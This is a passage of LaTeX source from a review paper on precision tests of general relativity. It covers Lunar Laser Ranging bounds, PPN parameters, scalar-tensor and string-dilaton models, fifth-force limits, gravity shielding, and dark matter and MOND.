\subsection{Local Position Invariance (LPI)}
\label{LPI}
Given that both the WEP and LLI postulates have been tested with
great accuracy, experiments concerning the universality of the
gravitational red-shift measure the level to which the LPI holds.
Therefore, violations of the LPI would imply that the rate of a
free falling clock would be different when compared with a
standard one, for instance on the Earth's surface. The accuracy to
which the LPI holds as an invariance of Nature can be
parameterized through $ \Delta \nu / \nu = (1 + \mu) U / c^2$.
From the already mentioned Pound-Rebka experiment (cf. Eq.
(\ref{eq:1.15})) one can infer that $\mu \simeq 10^{-2}$; the most
accurate verification of the LPI was performed by Vessot and
collaborators, by comparing hydrogen-maser frequencies on Earth
and on a rocket flying to altitude of $10^4$~km \cite{Vessot}.
The resulting bound is $ \vert \mu \vert < 2 \times 10^{-4}$.
Recently, an one order of magnitude improvement was attained, thus
establishing the most stringent result on the LPI so far
\cite{Bauch}, $ \vert \mu \vert < 2.1 \times 10^{-5}$.
\subsection{Summary of Solar System Tests of Relativistic Gravity}
\label{tests}
\begin{table}[t!]
\caption{The accuracy of determination of the PPN parameters
$\gamma$ and $\beta$ \cite{Williams_Turyshev_Boggs_2004,Will2005,turyshev_acfc_2003}.
\vspace*{0.5cm}}
\label{ppntable}
\begin{center}
\begin{tabular}{|c|c|c|}
\hline
PPN parameter & Experiment & Result \\ \hline\hline
$\gamma -1 $ & Cassini 2003 spacecraft radio-tracking &
$ 2.3 \times 10^{-5}$ \\\cline{2-3}
~ & Observations of quasars with Astrometric VLBI & $ 3 \times 10^{-4} $ \\\hline
$ \beta - 1 $ & Helioseismology bound on perihelion shift & $ 3 \times 10^{-3} $ \\\cline{2-3}
~ & LLR test of the SEP, assumed: $\eta = 4 \beta - \gamma - 3$ & $ 1.1 \times 10^{-4} $ \\
~ & and the Cassini result for PPN $\gamma$ & ~ \\
\hline
\end{tabular}
\\[10pt]
\end{center}
\end{table}
Although, these available experimental data fit quite well with
GR, while allowing for the existence of putative
extensions of this successful theory, provided any new effects are
small at the post-Newtonian scale \cite{Will1}.We shall here
discuss the available phenomenological constraints for alternative
theories of gravity.
Lunar Laser Ranging (LLR) investigates the SEP by looking for a
displacement of the lunar orbit along the direction to the sun.
The equivalence principle can be split into two parts: the WEP
tests the sensitivity to composition and the SEP checks the
dependence on mass. There are laboratory investigations of the WEP
which are about as accurate as LLR
\cite{Baessler_etal_1999,Adelberger_2001}. LLR is the dominant
test of the SEP with the most accurate testing of the EP at the
level of $\Delta (M_G/M_I)_{EP} =(-1.0\pm1.4)\times10^{-13}$
\cite{Williams_Turyshev_Boggs_2004}. This result corresponds to a
test of the SEP of $\Delta (M_G/M_I)_{SEP}
=(-2.0\pm2.0)\times10^{-13}$ with the SEP violation parameter
$\eta=4\beta-\gamma-3$ found to be $\eta=(4.4\pm4.5)\times
10^{-4}$. Using the recent Cassini result for the PPN parameter
$\gamma$, PPN parameter $\beta$ is determined at the level of
$\beta-1=(1.2\pm1.1)\times 10^{-4}$ (see Figure~\ref{fig:ppn}).
\begin{figure}[t]
\centering
\leavevmode\epsfxsize=11.5cm \epsfbox{ppn-bw.eps}\\
\caption{\label{fig:ppn} The progress in determining the PPN
parameters $\gamma$ and $\beta$ for the last 30 years (adopted
from \cite{Laser_Clocks_LATOR}).}
\end{figure}
LLR data yielded the strongest limits to date on variability of
the gravitational constant (the way gravity is affected by the
expansion of the Universe), the best measurement of the de Sitter
precession rate, and is relied upon to generate accurate
astronomical ephemerides. The possibility of a time variation of
the gravitational constant, {\it G}, was first considered by Dirac
in 1938 on the basis of his large number hypothesis, and later
developed by Brans and Dicke in their theory of gravitation (for
more details consult \cite{Will1,Will_2001}). Variation might be
related to the expansion of the Universe, in which case $\dot
G/G=\sigma H_0$, where $H_0 $ is the Hubble constant, and $\sigma$
is a dimensionless parameter whose value depends on both the
gravitational constant and the cosmological model considered.
Revival of interest in Brans-Dicke-like theories, with a variable
{\it G}, was partially motivated by the appearance of string
theories where {\it G} is considered to be a dynamical quantity
\cite{Marciano1984}.
In Brans-Dicke theory, as well as in more general scalar-tensor
theories, the gravitational coupling depends on the cosmic time.
Observational bounds arising from the timing of the binary pulsar
PSR1913+16 yield quite restrictive bounds \cite{Damour1} of $
\dot{G} / G = (1.0 \pm 2.3) \times 10^{-11}~{\rm yr^{-1}}$, with a
magnitude similar to the cosmological bounds available
\cite{Bertolami8,Gillies,Chiba} (see Ref. \cite{Bertolami13} and
references therein for a discussion on a connection with the
accelerated expansion of the Universe). Varying-G solar models
\cite{Guenther} and measurements of masses and ages of neutron
stars yield even more stringent limits \cite{Thorsett} of $
\dot{G} / G = (- 0.6 \pm 2.0) \times 10^{-12}~{\rm yr^{-1}}$.
The most stringent limit on a change of $G$ comes from LLR, which
is one of the important gravitational physics result that LLR
provides. GR does not predict a changing $G$, but
some other theories do, thus testing for this effect is important.
As we have seen, the most accurate limit published is the current
LLR test, yielding $ \dot{G} / G = (4 \pm 9) \times 10^{-13}~{\rm
yr^{-1}}$ \cite{Williams_Turyshev_Boggs_2004}. The $\dot{G}/G$
uncertainty is 83 times smaller than the inverse age of the
Universe, $t_0=13.4$~Gyr with the value for Hubble constant
$H_0=72$~km/sec/Mpc from the WMAP data \cite{Spergel:2003cb}. The
uncertainty for $\dot G/G$ is improving rapidly because its
sensitivity depends on the square of the data span. This fact puts
LLR, with its more then 35 years of history, in a clear advantage
as opposed to other experiments.
LLR has also provided the only accurate determination of the
geodetic precession. Ref. \cite{Williams_Turyshev_Boggs_2004}
reports a test of geodetic precession, which expressed as a
relative deviation from GR, is $K_{gp}=-0.0019\pm0.0064$. The GP-B
satellite should provide improved accuracy over this value, if
that mission is successfully completed. LLR also has the
capability of determining PPN $\beta$ and $\gamma$ directly from
the point-mass orbit perturbations. A future possibility is
detection of the solar $J_2$ from LLR data combined with the
planetary ranging data. Also possible are dark matter tests,
looking for any departure from the inverse square law of gravity,
and checking for a variation of the speed of light. The accurate
LLR data has been able to quickly eliminate several suggested
alterations of physical laws. The precisely measured lunar motion
is a reality that any proposed laws of attraction and motion must
satisfy.
\section{Search for New Physics Beyond General Relativity}
\label{sec:beyond}
The nature of gravity is fundamental to the understanding of the
solar system and the large scale structure of the Universe. This
importance motivates various precision tests of gravity both in
laboratories and in space. To date, the experimental evidence for
gravitational physics is in agreement with GR; however, there are
a number of reasons to question the validity of this theory.
Despite the success of modern gauge field theories in describing
the electromagnetic, weak, and strong interactions, it is still
not understood how gravity should be described at the quantum
level. In theories that attempt to include gravity, new long-range
forces can arise in addition to the Newtonian inverse-square law.
Even at the purely classical level, and assuming the validity of
the Equivalence Principle, Einstein's theory does not provide the
most general way to describe the space-time dynamics, as there are
reasons to consider additional fields and, in particular, scalar
fields.
Although scalar fields naturally appear in the modern theories,
their inclusion predicts a non-Einsteinian behavior of gravitating
systems. These deviations from GR lead to a
violation of the EP, modification of large-scale gravitational
phenomena, and imply that the constancy of the ``constants'' must
be reconsidered. These predictions motivate searches for small
deviations of relativistic gravity from GR and provide a
theoretical paradigm and constructive guidance for further gravity
experiments. As a result, this theoretical progress has motivated
high precision tests of relativistic gravity and especially those
searching for a possible violation of the Equivalence Principle.
Moreover, because of the ever increasing practical significance of
the general theory of relativity (i.e. its use in spacecraft
navigation, time transfer, clock synchronization, standards of
time, weight and length, \textit{etc}.) this fundamental theory must be
tested to increasing accuracy.
An understanding of gravity at a quantum level will allow one to
ascertain whether the gravitational ``constant'' is a running
coupling constant like those of other fundamental interactions of
Nature. String/M-theory \cite{Green} hints a negative answer to
this question, given the non-renormalization theorems of
Supersymmetry, a symmetry at the core of the underlying principle
of string/M-theory and brane models, \cite{Polchinski,Randall}.
However, 1-loop higher--derivative quantum gravity models may
permit a running gravitational coupling, as these models are
asymptotically free, a striking property \cite{Julve}. In the
absence of a screening mechanism for gravity, asymptotic freedom
may imply that quantum gravitational corrections take effect on
macroscopic and even cosmological scales, which of course has some
bearing on the dark matter problem \cite{Goldman} and, in
particular, on the subject of the large scale structure of the
Universe \cite{Bertolami11,Bertolami12} (see, however,
\cite{Bertolami8}). Either way, it seems plausible to assume that
quantum gravity effects manifest themselves only on cosmological
scales.
In this Section we review the arguments for high-accuracy
experiments motivated by the ideas suggested by proposals of
quantization of gravity.
\subsection{String/M-Theory}
\label{sec:SMT}
String theory is currently referred to as string/M-theory, given
the unification of the existing string theories that is achieved
in the context M-theory. Nowadays, it is widely viewed as the most
promising scheme to make GR compatible with
quantum mechanics (see \cite{Green} for an extensive
presentation). The closed string theory has a spectrum that contains as
zero mass eigenstates the graviton, $g_{MN}$, the dilaton, $\Phi$,
and an antisymmetric second-order tensor, $B_{MN}$. There are
various ways in which to extract the physics of our
four-dimensional world, and a major difficulty lies in finding a
natural mechanism that fixes the value of the dilaton field, since
it does not acquire a potential at any order in string
perturbation theory.
Damour and Polyakov \cite{Damour_Polyakov_1994a} have studied a
possible a mechanism to circumvent the above difficulty by
suggesting string loop-contributions, which are counted by dilaton
interactions, instead of a potential. After dropping the
antisymmetric second-order tensor and introducing fermions, $\hat
\psi$, Yang-Mills fields, $\hat A^{\mu}$, with field strength
$\hat F_{\mu \nu}$, in a spacetime described by the metric $\hat
g_{\mu \nu}$, the relevant effective low-energy four-dimensional
action is
\begin{equation} S = \int_M d^4 x \sqrt{-\hat g} B(\Phi)\left[{1 \over
\alpha^{\prime}} [\hat R + 4 \hat \nabla_{\mu} \hat \nabla^{\mu}
\Phi - 4 (\hat \nabla \Phi)^2] - {k \over 4} \hat F_{\mu \nu} \hat
F^{\mu \nu} - \overline{\hat \psi} \gamma^{\mu} \hat D_{\mu} \hat
\psi + ... \right], \label{eq:3.1} \end{equation}
\noindent where
\begin{equation} B(\Phi) = e^{-2 \Phi} + c_0 + c_1 e^{2 \Phi} + c_2 e^{4 \Phi}
+ ..., \label{eq:3.2} \end{equation}
\noindent $\alpha^{\prime}$ is the inverse of the string tension
and $k$ is a gauge group constant; the constants $c_0$, $c_1$,
..., \textit{etc}., can, in principle, be determined via computation.
In order to recover Einsteinian gravity, a conformal
transformation must be performed with $ g_{\mu \nu} = B(\Phi) \hat
g_{\mu \nu}$, leading to an action where the coupling constants
and masses are functions of the rescaled dilaton, $\phi$:
\begin{equation} S = \int_M d^4 x \sqrt{-g} \left[{1 \over 4q} R - {1 \over
2q} (\nabla \phi)^2 - {k \over 4} B(\phi) F_{\mu \nu} F^{\mu \nu}
- \overline{\psi} \gamma^{\mu} D_{\mu} \psi + ... \right],
\label{eq:3.4} \end{equation}
\noindent from which follows that $4q = 16 \pi G = {1 \over 4}
\alpha^{\prime}$ and the coupling constants and masses are now
dilaton-dependent, through $ g^{-2} = k B(\phi)$ and $ m_A =
m_A(B(\phi))$. Damour and Polyakov proposed the minimal coupling
principle (MCP), stating that the dilaton is dynamically driven
towards a local minimum of all masses (corresponding to a local
maximum of {$B(\phi)$). Due to the MCP, the dependence of the
masses on the dilaton implies that particles fall differently in a
gravitational field, and hence are in violation of the WEP.
Although, in the solar system conditions, the effect is rather
small being of the order of $\Delta a / a \simeq 10^{-18}$,
application of already available technology can potentially test
prediction. Verifying this prediction is an interesting prospect,
as it would present a distinct experimental signature of
string/M-theory. We have no doubts that the experimental search
for violations of the WEP, as well as of the fundamental Lorentz
and CPT symmetries, present important windows of opportunity to
string physics and should be vigorously pursued.
Recent analysis of a potential scalar field's evolution scenario
based on action (\ref{eq:3.4}) discovered that the present
agreement between GR and experiment might be naturally compatible
with the existence of a scalar contribution to gravity. In
particular, Damour and Nordtvedt
\cite{Damour_Nordtvedt_1993a} (see also
\cite{Damour_Polyakov_1994a} for non-metric versions
of this mechanism together with \cite{DPV02a} for the
recent summary of a dilaton-runaway scenario) have found that a
scalar-tensor theory of gravity may contain a ``built-in''
cosmological attractor mechanism toward GR. These scenarios assume
that the scalar coupling parameter $\frac{1}{2}(1-\gamma)$ was of
order one in the early Universe (say, before inflation), and show
that it then evolves to be close to, but not exactly equal to,
zero at the present time.
The Eddington parameter $\gamma$, whose value in general
relativity is unity, is perhaps the most fundamental PPN
parameter, in that $\frac{1}{2}(1-\gamma)$ is a measure, for
example, of the fractional strength of the scalar gravity
interaction in scalar-tensor theories of gravity
\cite{Damour_EFarese96a,Damour_EFarese96b}. Within perturbation
theory for such theories, all other PPN parameters to all
relativistic orders collapse to their general relativistic values
in proportion to $\frac{1}{2}(1-\gamma)$. Under some assumptions
(see \textit{e.g.} \cite{Damour_Nordtvedt_1993a}) one
can even estimate what is the likely order of magnitude of the
left-over coupling strength at present time which, depending on
the total mass density of the Universe, can be given as $1-\gamma
\sim 7.3 \times 10^{-7}(H_0/\Omega_0^3)^{1/2}$, where $\Omega_0$
is the ratio of the current density to the closure density and
$H_0$ is the Hubble constant in units of $100~ km/sec/Mpc$. Compared
to the cosmological constant, these scalar field models are
consistent with the supernovae observations for a lower matter
density, $\Omega_0\sim 0.2$, and a higher age, $(H_0 t_0) \approx
1$. If this is indeed the case, the level $(1-\gamma) \sim
10^{-6}-10^{-7}$ would be the lower bound for the present value of
the PPN parameter $\gamma$
\cite{Damour_Nordtvedt_1993a}. This is why
measuring the parameter $\gamma$ to accuracy of one part in a
billion, as suggested for the LATOR mission
\cite{Laser_Clocks_LATOR}, is important.
\subsection{Scalar-Tensor Theories of Gravity} \label{sec:vacuum}
In many alternative theories of gravity, the gravitational
coupling strength exhibits a dependence on a field of some sort;
in scalar-tensor theories, this is a scalar field $\varphi$. A
general action for these theories can be written as
{}
\begin{equation} S= {c^3\over 4\pi G}\int d^4x \sqrt{-g}
\left[\frac{1}{4}f(\varphi) R - \frac{1}{2}g(\varphi) \partial_{\mu} \varphi
\partial^{\mu} \varphi + V(\varphi) \right] + \sum_{i}
q_{i}(\varphi)\mathcal{L}_{i}, \label{eq:sc-tensor} \end{equation}
\noindent where $f(\varphi)$, $g(\varphi)$, $V(\varphi)$ are
generic functions, $q_i(\varphi)$ are coupling functions and
$\mathcal{L}_{i}$ is the Lagrangian density of the matter fields;
it is worth mentioning that the graviton-dilaton system in
string/M-theory can be viewed as one of such scalar-tensor
theories of gravity. An emblematic proposal is the well-known
Brans-Dicke theory \cite{Brans} corresponds to the specific choice
\begin{equation} \label{eq6:2} f(\varphi) = \varphi, \qquad g(\varphi) =
{\omega \over \varphi},
\end{equation}
and a vanishing potential $V(\varphi)$. Notice that in
the Brans-Dicke theory the kinetic energy term of the field
$\varphi$ is non-canonical, and the latter has a dimension of
energy squared. In this theory, the constant $\omega$ marks
observational deviations from GR, which is recovered in the limit
$\omega \rightarrow \infty$. We point out that, in the context of the
Brans-Dicke theory, one can operationally introduce the Mach's
Principle which, we recall, states that the inertia of bodies is
due to their interaction with the matter distribution in the
Universe. Indeed, in this theory the gravitational coupling is
proportional to $\varphi^{-1}$, which depends on the
energy-momentum tensor of matter through the field equations.
Observational bounds require that $|\omega| \mathrel{\rlap{\lower4pt\hbox{\hskip1pt$\sim$} 500$
\cite{RoberstonCarter91,viking_reasen}, and even higher values $|\omega| \mathrel{\rlap{\lower4pt\hbox{\hskip1pt$\sim$} 40000$
are reported in \cite{Will2005}. In the so-called {\it induced gravity models} \cite{Fujii}, the
functions of the fields are initially given by $ f(\varphi) =
\varphi^2$ and $ g(\varphi) = 1 / 2$, and the potential
$V(\varphi)$ allows for a spontaneous symmetry breaking, so that
the field $\varphi$ acquires a non-vanishing vacuum expectation
value, $f(\vev{0|\varphi|0}) = \vev{0|\varphi^2|0} = M_P^2 =
G^{-1}$. Naturally the cosmological constant is given by the
interplay of the value $V(\vev{0|\varphi|0})$ and all other
contributions to the vacuum energy.
Therefore, it is clear that in this setup Newton's constant arises
from dynamical or symmetry-breaking considerations. It is
mesmerizing to conjecture that the $\varphi$ field could be
locally altered: this would require the coupling of this field
with other fields, in order to locally modify its value. This
feature can be found in some adjusting mechanisms devised as a
solution of the cosmological constant problem (see \textit{e.g.}
\cite{Weinberg1} for a list of references). However, Weinberg
\cite{Weinberg1} has shown that these mechanisms are actually
unsuitable for this purpose, although they nevertheless contain
interesting multi-field dynamics. Recent speculations suggesting
that extra dimensions in braneworld scenarios may be rather large
\cite{Antoniadis,Arkani} bring forth gravitational effects at the
much lower scale set by $M_5$, the 5-dimensional Planck mass.
Phenomenologically, the existence of extra dimensions should
manifest itself through a contribution to Newton's law on small
scales, $r \lsim 10^{-4}~m$, as discussed next in Section
\ref{sec:new-inter}.
\subsection{Search for New Interactions of Nature}
\label{sec:new-inter}
The existence of new fundamental forces beyond the already known
four fundamental interactions, if confirmed, will have several
implications and bring important insights into the physics beyond
the Standard Model. A great interest on the subject was sparked
after the 1986 claim of evidence for an intermediate range
interaction with sub-gravitational strength \cite{Fishbach1}, both
theoretical (see \cite{Nieto} for a review) as well as
experimental, giving rise to a wave of new setups, as well as
repetitions of ``classical'' ones using state of the art
technology.
In its simplest versions, a putative new interaction or a fifth
force would arise from the exchange of a light boson coupled to
matter with a strength comparable to gravity. Planck-scale physics
could give origin to such an interaction in a variety of ways,
thus yielding a Yukawa-type modification in the interaction energy
between point-like masses. This new interaction can be derived,
for instance, from extended supergravity theories after
dimensional reduction \cite{Nieto,Scherk}, compactification of
$5$-dimensional generalized Kaluza-Klein theories including gauge
interactions at higher dimensions \cite{Bars}, and also from
string/M-theory. In general, the interaction energy, $V(r)$,
between two point masses $m_1$ and $m_2$ can be expressed in terms
of the gravitational interaction as\footnote{We use here the units $c =
\hbar = 1$.}
\begin{equation} V(r) = - {G_{\infty}m_{1}m_{2} \over r}\big(1 +
\alpha\,e^{-r/\lambda}\big), \label{eq:2.1} \end{equation}
\noindent where $r = \vert {\bf r}_2 - {\bf r}_1 \vert$ is the
distance between the masses, $G_{\infty}$ is the gravitational
coupling for $r \rightarrow \infty$ and $\alpha$ and $\lambda$ are
respectively the strength and range of the new interaction.
Naturally, $G_{\infty}$ has to be identified with Newton's
gravitational constant and the gravitational coupling becomes
dependent on $r$. Indeed, the force associated with Eq.
(\ref{eq:2.1}) is given by:
\begin{equation} {\bf F}({\bf r}) = - \nabla V({\bf r}) = - {G(r)m_{1}m_{2}
\over r^2}\,\hat {\bf r}, \label{eq:2.2} \end{equation}
\noindent where
\begin{equation} G(r) = G_{\infty}\big[1 + \alpha\,(1 +
r/\lambda)e^{-r/\lambda}\big]. \label{eq:2.3} \end{equation}
\noindent The suggestion of existence of a new interaction arose
from assuming that the coupling $\alpha$ is not an universal
constant, but instead a parameter depending on the chemical
composition of the test masses \cite{Lee}. This comes about if one
considers that the new bosonic field couples to the baryon number
$B = Z + N$, which is the sum of protons and neutrons. Hence the
new interaction between masses with baryon numbers $B_1$ and $B_2$
can be expressed through a new fundamental constant, $f$, as:
\begin{equation} V(r) = - f^{2}{B_{1}B_{2} \over r}e^{-r/\lambda},
\label{eq:2.4} \end{equation}
\noindent such that the constant $\alpha$ can be written as
\begin{equation} \alpha= - \sigma \left({B_{1} \over \mu_{1}}\right)
\left({B_{2} \over \mu_{2}}\right), \label{eq:2.5} \end{equation}
\noindent with $\sigma = f^{2}/G_{\infty}m_{H}^{2}$ and $\mu_{1,2}
= m_{1,2}/m_{H}$, $m_H$ being the hydrogen mass.
The above equations imply that in a Galileo-type experiment a
difference in acceleration exists between the masses $m_1$ and
$m_2$, given by
\begin{equation} {\bf a}_{12}= \sigma\left({B \over \mu}\right)_\oplus
\left[\left({B_{1} \over \mu_{1}}\right)- \left({B_{2} \over
\mu_{2}}\right)\right]{\bf g}, \label{eq:2.6} \end{equation}
\noindent where {$\bf g$} is the field strength of the Earth's
gravitational field.
Several experiments (see, for instance, Refs.
\cite{Fishbach1,Nieto} for a list of the most relevant) studied
the parameters of a new interaction based on the idea of a
composition-dependence differential acceleration, as described in
Eq.~(\ref{eq:2.6}), and other composition-independent
effect\footnote{For instance, neutron interferometry has been
suggested to investigate a possible new force that couples to
neutron number \cite{Bertolami10}.}. The current experimental
status is essentially compatible with the predictions of Newtonian
gravity, in both composition-independent or -dependent setups. The
bounds on parameters $\alpha$ and $\lambda$ are summarized below
(Figure~\ref{fig:Figure 1}):
\begin{itemize}
\item[--] Laboratory experiments devised to measure deviations
from the inverse-square law are most sensitive in the range
$10^{-2}~{\rm m} \lsim \lambda \lsim 1~{\rm m}$, constraining
$\alpha$ to be smaller than about $10^{-4}$;
\item[--] Gravimetric experiments sensitive in the range of
$10~{\rm m} \lsim \lambda \lsim 10^{3}~{\rm m}$ indicate that
$\alpha \lsim 10^{-3}$;
\item[--] Satellite tests probe the ranges of about
$10^{5}~{\rm m} \lsim \lambda \lsim 10^{7}~{\rm m}$ suggest
that $\alpha \lsim 10^{-7}$;
\item[--] Analysis of the effects of the inclusion of scalar
fields into the stellar structure yields a bound in the range
$10^8~{\rm m} \lsim \lambda \lsim 10^{10}~{\rm m}$, limiting
$\alpha$ to be smaller than approximately $10^{-2}$
\cite{Bertolami-Paramos2005b}.
\end{itemize}
\noindent The latter bound, although modest, is derived from a
simple computation of the stellar equilibrium configuration in the
polytropic gas approximation, when an extra force due to a Yukawa
potential is taken into account on the hydrostatic equilibrium
equation.
\begin{figure}[t]
\centering
\leavevmode\epsfysize=9.5cm \epsfbox{plot-ci.eps}\\
\caption{Experimentally excluded regions for the range and
strength of possible new forces, as shown in Ref.
\cite{Bertolami-Paramos2005b}.} \label{fig:Figure 1}
\end{figure}
Remarkably, $\alpha$ is so far essentially unconstrained for
$\lambda < 10^{-3}~{\rm m}$ and $\lambda > 10^{13}~{\rm m}$. The
former range is particularly attractive as a testing ground for
new interactions, since forces with sub-millimetric range seems to
be favored from scalar interactions in supersymmetric theories
\cite{Dimopoulos}; this is also the case in the recently proposed
theories of $\mbox{TeV}$ scale quantum gravity, which stem from the
hypothesis that extra dimensions are not necessarily of Planck
size \cite{Antoniadis,Arkani}. The range $\lambda < 10^{-3}~{\rm
m}$ also arises if one assumes that scalar \cite{Beane} or tensor
interactions associated with Lorentz symmetry breaking in string
theories \cite{Bertolami3} account for the vacuum energy up to
half of the critical density. Putative
corrections to Newton's law at millimeter range could have
relevant implications, especially taking into account that, in
certain models of extra dimensions, these corrections can be as
important as the usual Newtonian gravity \cite{Arkani,Floratos}.
From the experimental side, this range has recently been available
to experimental verification; state of the art experiments rule
out extra dimensions over length scales down to $0.2$~mm
\cite{Hoyle}.
\subsection{Gravity Shielding - the Majorana Effect}
\label{majorana}
The possibility that matter can shield gravity is not predicted by
modern theories of gravity, but it is a recurrent idea and it
would cause a violation of the equivalence principle test. In
fact, the topic has been more recently reviewed in \cite{Gillies}
renewing the legitimacy of this controversial proposal;
consequently, a brief discussion is given in this subsection.
The idea of gravity shielding goes back at least as far as to
Majorana's 1920 paper \cite{Majorana_1920}. Since then a number of
proposals and studies has been put forward and performed to test
the possible absorption of the gravitational force between two
bodies when screened from each other by a medium other than
vacuum. This effect is a clear gravitational analog of the
magnetic permeability of materials, and Majorana
\cite{Majorana_1920} suggested the introduction of a screening or
extinction coefficient, $h$, in order to measure the shielding of
the gravitational force between masses $m_1$ and $m_2$ induced by
a material with density $\rho(r)$; such an effect can be modeled
as
\begin{equation} F^{\prime} = {G \,m_1 m_2 \over r^2} \exp\left[- h \int
\rho(r)~dr \right]. \label{eq:2.10}
\end{equation}
which clearly depends on the amount of mass between
attracting mass elements and a universal constant $h$. Naturally,
one expects $h$ to be quite small.
Several attempts to derive this parameter from general principles
have been made. Majorana gave a closed form expression for a
sphere's gravitational to inertial mass ratio. For weak shielding
a simpler expression is given by the linear expansion of the
exponential term, $M_G / M_I \approx 1 - h f R \bar{\rho}$, where
$f$ is a numerical factor, $\bar{\rho}$ is the mean density, and
$R$ is the sphere's radius. For a homogeneous sphere Majorana and
Russell give $f=3/4$. For a radial density distribution of the
form $\rho(r)=\rho(0) (1-r^2/R^2)^n$ Russell derives
$f=(2n+3)^2/(12n+12)$. Russell \cite{Russell_1921} realized that
the large masses of the Earth, Moon and planets made the
observations of the orbits of these bodies and the asteroid Eros a
good test of such a possibility. He made a rough estimate that the
equivalence principle was satisfied to a few parts per million,
which was much smaller than a numerical prediction based on
Majorana's estimate for $h$. If mass shields gravity, then large
bodies such as, for instance, the Moon and Earth will partly
shield their own gravitational attraction. The observable ratio of
gravitational mass to inertial mass would not be independent of
mass, which would violate the equivalence principle.
Eckhardt \cite{Eckhardt} showed that LLR can be used to set the
limit $h \leq 1.0 \times 10^{-22}~{\rm m^2~kg^{-1}}$, six orders
of magnitude smaller than the geophysical constraint. In
\cite{Eckhardt}, an LLR test of the equivalence principle was used
to set a modern limit on gravity shielding. That result is updated
as follows: the uniform density approximation is sufficient for
the Moon and $f\, R \,\bar{\rho} = 4.4 \times 10^9$ kg~m$^{-2}$.
For the Earth we use $n\approx 0.8$ with Russell's expression to get
$f\, R\,\bar{\rho} = 3.4 \times10^{10}$ kg~m$^{-2}$. Using the
difference $-3.0 \times 10^9~ g/cm^2$ $h$ along with the LLR EP
solution for the difference in gravitational to inertial mass
ratios gives $h = (3 \pm 5) \times 10^{-24}$ m$^2$~kg$^{-1}$
\cite{pescara05}. The value is not significant compared to the
uncertainty. To give a sense of scale to the uncertainty, for the
gravitational attraction to be diminished by $1/2$ would require a
column of matter with the density of water stretching at least
half way from the solar system to the center of the galaxy. The
LLR equivalence principle tests give no evidence that mass shields
gravity and the limits are very strong.
For completeness, let us mention that Weber \cite{Weber} argued
that a quasi-static shielding could be predicted from a analysis
of relativistic tidal phenomena, concluding that such effect
should be extremely small. Finally, the most stringent laboratory
limit on the gravitational shielding constant had been obtained
during the recent measurement of Newton's constant, resulting in
$h \leq 4.3 \times 10^{-15}~{\rm m^2~kg^{-1}}$
\cite{Unnikrishnan}.
\section{The ``Dark Side'' of Modern Physics}
\label{cosmological}
To a worldwide notice, recent cosmological observations dealt us a
challenging puzzle forcing us to accept the fact that our current
understanding of the origin and evolution of the Universe is incomplete.
Surprisingly, it turns out that most of the energy content of the Universe
is in the form of the presently unknown dark matter and dark energy that may
likely permeate all of spacetime. It is possible that the underlying physics
that resolve the discord between quantum mechanics and GR will
also shed light on cosmological questions addressing the origin and ultimate
destiny of the Universe.
In this Section we shall consider mechanisms that involve new physics
beyond GR to explain the puzzling behavior observed at
galactic and cosmological scales.
\subsection{Cold Dark Matter}
The relative importance of the gravitational interaction increases
as one considers large scales, and it is at the largest scales
where the observed gravitational phenomena do not agree with our
expectations. Thus, based on the motion of the peripheral galaxies
of the Coma cluster of galaxies, in 1933 Fritz Zwicky found a
discrepancy between the value inferred from the total number of
galaxies and brightness of the cluster. Specifically, this
estimates of the total amount of mass in the cluster revealed the
need for about 400 times more mass than expected. This led Zwicky
conclude that there is another form of matter in the cluster
which, although unaccounted, contains most of the mass responsible
for the gravitational stability of the cluster. This non-luminous
matter became known as the ``dark matter''. The dark matter
hypothesis was further supported by related problems, namely the
differential rotation of our galaxy, as first discussed by Oort in
1927, and the flatness of galactic rotation curves \cite{Trimble}.
The most common approach to these problems is to assume the
presence of unseen forms of energy that bring into agreement the
observed phenomena with GR. The standard scenario to explain the
dynamics of galaxies consists in the introduction of an extra
weakly interacting massive particle, the so-called Cold Dark
Matter (CDM), that clusters at the scales of galaxies and provides
the required gravitational pull to hold them together. The
explanation of the observed acceleration of the expansion of the
Universe requires however the introduction of a more exotic form
of energy, not necessarily associated with any form of matter but
associated with the existence of space-time itself -- vacuum
energy.
Although CDM can be regarded as a natural possibility given our
knowledge of elementary particle theory, the existence of a
non-vanishing but very small vacuum energy remains an unsolved puzzle
for our high-energy understanding of physics. However, the CDM
hypothesis finds problems when one begin to look at the details
of the observations. Increasingly precise simulations of galaxy
formation and evolution, although relatively successful in broad
terms, show well-known features that seem at odds with their real
counterparts, the most prominent of which might be the ``cuspy
core'' problem and the over-abundance of substructure seen in the
simulations (see, for instance, \cite{Ostriker:2003qj}).
At the same time the CDM hypothesis is required to explain the
correlations of the relative abundances of dark and luminous
matter that seem to hold in a very diverse set of astrophysical
objects \cite{McGaugh:2005er}. These correlations are exemplified
in the Tully-Fisher law \cite{Tully:1977fu} and can be interpreted
as pointing to an underlying acceleration scale,
$a_0 \simeq 10^{-10}~m~s^{-2}$, below which the
Newtonian potential changes and gravity becomes stronger. This is
the basic idea of MOND (MOdified Newtonian Dynamics), a successful
phenomenological modification of Newton's potential proposed in
1983 \cite{Milgrom:1983ca} whose predictions for the rotation
curves of spiral galaxies have been realized with increasing
accuracy as the quality of the data has improved
\cite{Sanders:2002pf}. Interestingly, the critical acceleration
required by the data is
of order $a_0 \sim c H_0$ where $H_0$ is today's Hubble constant
and $c$ the speed of light (that we will set to 1 from now on).
The problem with this idea is that MOND is just a modification of
Newton's potential so it is inadequate in any situation in which
relativistic effects are important. Efforts have been made to
obtain MONDian phenomenology in a relativistic generally covariant
theory by including other fields in the action with suitable
couplings to the spacetime metric \cite{Bekenstein:2004ne}.
On the other hand, in what concerns the CDM model one can state that
if all matter is purely baryonic, early structure formation
does not occur, as its temperature and pressure could not account
for the latter. The presence of cold (i.e., non-relativistic) dark
matter allows for gravitational collapse and thus solves this
issue. Another hint of the existence of exotic dark matter lies in
the observation of gravitational lensing, which may be interpreted
as due to the presence of undetected clouds of non-luminous matter
between the emitting light source and us, which bends the light
path due to its mass. This could also be the cause for the
discrepancies in the measured Lyman-alpha forest, the spectra of
absorption lines of distant galaxies and quasars. The most likely
candidates to account for the dark matter include a linear
combination of neutral supersymmetrical particles, the neutralinos
(see \textit{e.g.} \cite{Munoz}), axions \cite{Asztalos},
self-interacting scalar particles \cite{Bento1}, \textit{etc}..
On a broader sense, one can say that
these models do not address in a unified way the Dark Energy
(discussed in Section~\ref{sec:de}) and Dark Matter problems,
while a common origin is suggested by the observed coincidence
between the critical acceleration scale and the Dark Energy
density. This unification feature is found in the so-called
generalized Chaplygin gas {\cite{Bento2002} (see Section~\ref{sec:de}
below)
\subsubsection{Modified Gravity as an Alternative to Dark Matter}
